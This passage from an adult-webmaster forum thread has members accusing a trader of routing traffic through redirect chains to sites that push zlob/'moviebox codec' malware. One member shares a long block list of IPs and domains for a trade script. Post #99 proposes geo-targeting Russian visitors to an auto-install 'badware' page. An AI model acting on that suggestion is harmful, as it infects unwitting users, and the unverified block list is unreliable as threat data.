                                                                • Mar 2004
                                                                • 1717

                                                                #81
                                                                Originally posted by tolik
                                                                triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
                                                                also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code-- blablabla

                                                                who care what code have img src what wroting 0*0 image at bottom of page?

                                                                and i cannot get at all where you get and for what this at all frame/iframe breaking code what you posted?

                                                                and also - for what this here:
                                                                _____________________________
                                                                which contains a popup to--
                                                                nichetgp.com/amateur/in.cgi?a=340
                                                                _____________________________

                                                                i never traded or have a links to this site.
                                                                if some toplist open this link for some countries - not for me or i have popup blockers on.

                                                                cannot understand what relation this have to me?
                                                                Your counter2.pl redirects to triplexporn.org/err.html which has the frame breaker code you asked about.
                                                                This err.html redirects to erotiqsex.com/cgi-bin/td/tfr.pl?act=out&acc=topyo which earlier had the popup to nichetgp, but now amazingly is 404

                                                                As far as how it relates to you. Well these were sites that you force traffic to, so anyone that trades with you is essentially getting their traffic infected with the sites where you force traffic.

                                                                You are right, everyone has a choice with who they trade with, and honest webmasters don't like to trade with sites that get their potential customers infected with shitware.

                                                                Comment

                                                                • tolik
                                                                  Confirmed User
                                                                  • Jun 2001
                                                                  • 2035

                                                                  #82
                                                                  Originally posted by Quickdraw
                                                                  Your counter2.pl redirects to triplexporn.org/err.html .
                                                                  did you have any idea what will be if img src html file?

                                                                  as i see no.
                                                                  LONGBUCKS-Teen, Mature, Reality, Gay sites.
                                                                  Free hosting (cgi/php/mysql/cron etc). FHGs. Free content.Great rebills. Support icq - 313-882-945


                                                                  Webmaster friendly high recommended programs to promote (personal experience):
                                                                  RoyalCash-Teen ProfitX -Video SmokinCash-Amateur,Lesbo,Squirting

                                                                  Comment

                                                                  • Quickdraw
                                                                    Confirmed User
                                                                    • Mar 2004
                                                                    • 1717

                                                                    #83
                                                                    Originally posted by tolik
                                                                    did you have any idea what will be if img src html file?
                                                                    as i see no.
                                                                    Makes no difference to me.
                                                                    The point is your site forces traffic to places on the web that infect users with trojans/malware/zango and whatever else.

                                                                    Comment

                                                                    • tolik
                                                                      Confirmed User
                                                                      • Jun 2001
                                                                      • 2035

                                                                      #84
                                                                      yes. very clever. sure. i forcing traffic using img scr of html site.
                                                                      go faster register pattent for this new technology.
                                                                      you will be reach in seconds.
                                                                      LONGBUCKS-Teen, Mature, Reality, Gay sites.
                                                                      Free hosting (cgi/php/mysql/cron etc). FHGs. Free content.Great rebills. Support icq - 313-882-945


                                                                      Webmaster friendly high recommended programs to promote (personal experience):
                                                                      RoyalCash-Teen ProfitX -Video SmokinCash-Amateur,Lesbo,Squirting

                                                                      Comment

                                                                      • Quickdraw
                                                                        Confirmed User
                                                                        • Mar 2004
                                                                        • 1717

                                                                        #85
                                                                        Originally posted by tolik
                                                                        yes. very clever. sure. i forcing traffic using img scr of html site.
                                                                        go faster register pattent for this new technology.
                                                                        you will be reach in seconds.
                                                                        Sorry, you can try to deflect this all you want, but your trade script specifically is what I am referring to. The err page just tied you to more shit sites.
                                                                        Your site forces traffic to these sites--
                                                                        xtoplist.com/topteen/toplist.php3?Action=In&Login=porevo -- a zango spot
                                                                        and
                                                                        top-amateur.com/?28363 a site that is explained above

                                                                        Comment

                                                                        • u-Bob
                                                                          there's no $$$ in porn
                                                                          • Jul 2005
                                                                          • 33063

                                                                          #86
                                                                          Originally posted by tolik
                                                                          Registrant Organization:UltraHoster
                                                                          this company registering domain under esthost. does not see any problem here.
                                                                          1. ultrahoster = russian
                                                                          2. ultrahoster.com = a domain used in tons of guestbook (and other) spam campaigns.
                                                                          3. ultrahoster.com is on several spyware lists (including the coolwebsearch (=spyware) domain lists)

                                                                          Comment

                                                                          • tolik
                                                                            Confirmed User
                                                                            • Jun 2001
                                                                            • 2035

                                                                            #87
                                                                            Originally posted by u-Bob
                                                                            1. ultrahoster = russian
                                                                            2. ultrahoster.com = a domain used in tons of guestbook (and other) spam campaigns.
                                                                            3. ultrahoster.com is on several spyware lists (including the coolwebsearch (=spyware) domain lists)
                                                                            so - how this related to me if i just purashed domains using this company?
                                                                            and this was been more then 2 years ago. what wrong with this?
                                                                            LONGBUCKS-Teen, Mature, Reality, Gay sites.
                                                                            Free hosting (cgi/php/mysql/cron etc). FHGs. Free content.Great rebills. Support icq - 313-882-945


                                                                            Webmaster friendly high recommended programs to promote (personal experience):
                                                                            RoyalCash-Teen ProfitX -Video SmokinCash-Amateur,Lesbo,Squirting

                                                                            Comment

                                                                            • joy
                                                                              Registered User
                                                                              • Jan 2003
                                                                              • 97

                                                                              #88
                                                                              This thread keeps getting better by the day.

                                                                              Comment

                                                                              • kektex
                                                                                Confirmed User
                                                                                • Mar 2005
                                                                                • 1813

                                                                                #89
                                                                                I like this thread
                                                                                exgfmovies.com, exgfclips.com, datesx.com, gayboards.com and more!

                                                                                Comment

                                                                                • maalox
                                                                                  Confirmed User
                                                                                  • Oct 2005
                                                                                  • 596

                                                                                  #90
                                                                                  Great thread thanks for the info
                                                                                  If you are using xclicks.net here's all you have to do:cut-copy-paste this into the banned page in your script:
                                                                                  83.69.20.130, 81.169.224.98, 83.188.23.87, 70.84.80.50, 88.85.81.195, 72.55.148.87, 85.255.127, 85.255.121, 85.255.120, 85.255.119, 85.255.118, 85.255.117, 85.255.116, 85.255.115, 85.255.114, 85.255.113, 85.255.112, 69.50.191, 69.50.190, 69.50.189, 69.50.188, 69.50.187, 69.50.186, 69.50.185, 69.50.175, 69.50.169, 69.50.170, 69.50.168, 209.51.132.202, 209.8.19.242, 72.232.215.77, 72.232.215.74, 72.232.194.58, 216.255.178, 72.232.215.76, 216.255.178.60, 67.15.187.2, 216.240.149, 216.255.178, 70.84.80, 66.29.35.37, 74.52.6.43, lookmycunt.com,
                                                                                  mpeggalls.com, youngperfection.net, sexymovs.com, trygirls.com, pinkypussies.com, good-teens.com, teensinlaw.com, smokyvids.com, angelsvids.com, mixteenies.com, teensseduction.com, chickswar.com, pushpussy.com, hardsaloon.com, pinkyteenies.com, sappypussy.com, dullworld.com, perkyteenies.com, onlinesexmovie.net, pjunkie.net, brothervids.com, extrablow.com, fuckingcraft.org, 100freegalls.com, tgpporn.net, startfreevideo.com, sexgall.net, hotdailynudes.com, mashathumbs.com, shyteenies.com, yourthumbnails.com, xxxdesert.com, asianscity.com, girlsrussian.net, pornstarocean.com, lovelyteenvids.com, porn-cinema.net, need4pornvids.com, 216.255.189.123, 70.84.80.50, 216.255.189, 216.240.149.117, 66.29.35, 74.52.6, 216.255.189, 216.255.176.124, 74.52.6.43,
                                                                                  216.255.176, 216.255.178.52, 91.192.117.46, 69.50.160, 69.50.161, 69.50.162, 69.50.163, 69.50.167, 69.50.166, 69.50.165, 69.50.164, 69.50.171, 69.50.172, 69.50.173, 69.50.174, 69.50.176, 69.50.177, 69.50.178, 69.50.179, 69.50.180, 69.50.181, 69.50.182, 69.50.183, 69.50.184, 85.255.122, 85.255.123, 85.255.124, 85.255.125, 85.255.126, 88.151.106.252, 81.169.235.6, 81.169.234.219, 69.166.67.221, 91.192.117.46, 72.232.65.178, 64.151.36.201, 86.57.128.201, 91.124.155.94
                                                                                  Penthousechicks.com for sale Best Offer!
                                                                                  unrealamateurs.com
                                                                                  Trading Amateur Hardlinks Here Automatically


                                                                                  Comment

                                                                                  • AK
                                                                                    MadZuma
                                                                                    • Nov 2003
                                                                                    • 6436

                                                                                    #91
                                                                                    Originally posted by A1R3K
                                                                                    edit: fuck it. no one listens anyhow.
                                                                                    hey bro.. would you like a Fuck Spyware T shirt?

                                                                                    Alfonsus Kusuma (AK)
                                                                                    ak at madzuma.com
                                                                                    skype me - alfonsus.com

                                                                                    Comment

                                                                                    • Ray@TastyDollars
                                                                                      • May 2002
                                                                                      • 6797

                                                                                      #92
                                                                                      Originally posted by AK
                                                                                      hey bro.. would you like a Fuck Spyware T shirt?

                                                                                      Haha nice!

                                                                                      Comment

                                                                                      • MrCain
                                                                                        Confirmed User
                                                                                        • Jun 2006
                                                                                        • 3332

                                                                                        #93
                                                                                        Fuck Spyware.
                                                                                        Sigmund

                                                                                        Comment

                                                                                        • Quickdraw
                                                                                          Confirmed User
                                                                                          • Mar 2004
                                                                                          • 1717

                                                                                          #94
                                                                                          Back to what the original post in this thread was about.
                                                                                          If you haven't installed this stuff, you should find a way to research it further.
                                                                                          This affects anyone that buys traffic via PPC engines, gets natural traffic from the SE's, or even has just a little bit of traffic.

                                                                                          Say for instance that a surfer with this malware searches for "thehun.net" into google. The first result is of course thehun.net, but clicking on it won't get you there.
                                                                                          After several clicks that surfer might actually get to TheHun, but clicks from there are just redirected as well. This scenario seems to ring true for most sites and all keywords. Users are redirected to either their(zlob) sponsor, or redirected through a PPC engine to another destination.

                                                                                          If you use any of the smaller ppc engines, search123, goclick, searchfeed etc., you might have noticed a huge drop in your campaign returns since this scumware(moviebox,zlob) came out, especially for more generic terms.

                                                                                          There is a lot more to it, if you have a spare computer, check it out. You might be surprised

                                                                                          Comment

                                                                                          • Quickdraw
                                                                                            Confirmed User
                                                                                            • Mar 2004
                                                                                            • 1717

                                                                                            #95
                                                                                            Anyone else watch the videos or download this MOVIEBOX 'codec'?

                                                                                            Comment

                                                                                            • joy
                                                                                              Registered User
                                                                                              • Jan 2003
                                                                                              • 97

                                                                                              #96
                                                                                              May 4th. This is why sales are down to the point that they are the past 3-4 days

                                                                                              Sponsors need to open their eyes and look at the big picture. Look at your sales the past 3-4 days, compare your join page VS 1st bill page. You will see that your join page traffic has not changed, however your biller page traffic went to shit.

                                                                                              Comment

                                                                                              • shermo

                                                                                                #97
                                                                                                Bump for an interesting thread which is posing a real issue to this industry. This needs to be stopped, and learning about it's workings is the first step.

                                                                                                Comment

                                                                                                • StarkReality
                                                                                                  Confirmed User
                                                                                                  • May 2004
                                                                                                  • 4444

                                                                                                  #98
                                                                                                  This thread would deserve a STICKY !

                                                                                                  Comment

                                                                                                  • Voodoo
                                                                                                    ♥ ♦ ♣ ♠
                                                                                                    • Sep 2002
                                                                                                    • 10600

                                                                                                    #99
                                                                                                    Simple.

                                                                                                    GEOIP check the user's country on ALL of your sites. If the user/webmaster is from Russia... Send them to an auto-install badware page that monetizes off of their legacy of scamming and unscrupulous methods of doing business.

                                                                                                    "I'm selflessly supporting the common good, but only coincidentally looking out for No.1."

                                                                                                    Comment

                                                                                                    • martinsc
                                                                                                      Too lazy to set a custom title
                                                                                                      • Jun 2005
                                                                                                      • 27047

                                                                                                      #100
                                                                                                      bump bump bump
                                                                                                      Make Money

                                                                                                      Comment

                                                                                                      Working...